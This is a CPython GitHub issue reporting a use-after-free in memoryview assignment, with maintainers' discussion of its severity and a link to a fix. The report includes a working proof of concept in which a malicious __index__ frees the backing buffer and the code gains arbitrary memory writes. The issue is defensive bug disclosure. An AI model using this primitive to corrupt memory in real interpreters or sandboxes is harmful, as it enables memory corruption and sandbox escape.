Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Use After Free when assigning into a memoryview #92888

Open
chilaxan opened this issue May 17, 2022 · 5 comments · May be fixed by #92946
Open

Use After Free when assigning into a memoryview #92888

chilaxan opened this issue May 17, 2022 · 5 comments · May be fixed by #92946
Labels
interpreter-core type-bug type-crash type-security

Comments

@chilaxan
Copy link
Contributor

@chilaxan chilaxan commented May 17, 2022 •
edited

Bug report

within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub.
The first is if a class with a malicious __index__ method is used as the index for the assignment, its index method is called after the memoryview is checked if it is released. This allows the index method to release the memory view and backing buffer, leading to a write to freed memory when the write completes. The same vuln exists if the class with a malicious index method is used as the assigned value, as its __index__ method is called inside of pack_single

# memoryview Use After Free (memory_ass_sub)
uaf_backing = bytearray(bytearray.__basicsize__)
uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format

class weird_index:
    def __index__(self):
        global memory_backing
        uaf_view.release() # release memoryview (UAF)
        # free `uaf_backing` memory and allocate a new bytearray into it
        memory_backing = uaf_backing.clear() or bytearray()
        return 2 # `ob_size` idx

# by the time this line finishes executing, it writes the max ptr size
# into the `ob_size` slot of `memory_backing`
uaf_view[weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(memory_backing)
memory[id(250) + int.__basicsize__] = 100
print(250) # prints 100

Your environment

  • CPython versions tested on: Python 3.10.2 (main, Feb 2 2022, 07:36:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin
  • Operating system and architecture: MacOS, 64bit
@chilaxan chilaxan added the type-bug label May 17, 2022
@chilaxan
Copy link
Contributor Author

@chilaxan chilaxan commented May 17, 2022

image
Tested on 3.12.0 built with ./configure --enable-optimizations

@erlend-aasland erlend-aasland added the interpreter-core label May 17, 2022
@Fidget-Spinner Fidget-Spinner added the type-security label May 19, 2022
@Fidget-Spinner
Copy link
Member

@Fidget-Spinner Fidget-Spinner commented May 19, 2022

@vstinner would you class this as a security vuln or just a user bug? IMO it's definitely a bug that we should fix on our end considering memorview promises to raise ValueError after .release. But there exists many ways to corrupt memory in CPython and write to arbitrary addresses (e.g. ctypes or compiling your own bytecode with malicious LOAD_FAST instructions). So I'm not sure if you would class this as a vuln?

@Fidget-Spinner Fidget-Spinner linked a pull request May 19, 2022 that will close this issue
Open
@Fidget-Spinner
Copy link
Member

@Fidget-Spinner Fidget-Spinner commented May 19, 2022

CC @serhiy-storchaka too for your opinion please.

@serhiy-storchaka
Copy link
Member

@serhiy-storchaka serhiy-storchaka commented May 19, 2022

Nice. Many thanks to you @chilaxan for the reproducer. It only works on non-debug build, but I am sure that it is possible to get the same result on a debug build if slightly change the code.

This is definitely a serious bug, but I am not sure that it can be classified as a practical security vulnerability. Of course the bug can manifest not only with malicious __index__ (it is just a convenient way to reproduce it consistently), but with any __index__ implemented in Python if you use memoryview and multithreading. You only need to be exceptionally (un)lucky to get it. In theory the attacker can attack the program which have all three components (threads, writing to memoryview and objects with Python implemented __index__), but it is pure hypothetical scenario.

@kumaraditya303
Copy link
Contributor

@kumaraditya303 kumaraditya303 commented May 19, 2022

See also #91153 which is a similar bug but with bytearray.

@Fidget-Spinner Fidget-Spinner added the type-crash label May 19, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
interpreter-core type-bug type-crash type-security
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

gh-92888: Fix memoryview bad __index__ use after free Fidget-Spinner/cpython
5 participants
@serhiy-storchaka @erlend-aasland @Fidget-Spinner @chilaxan @kumaraditya303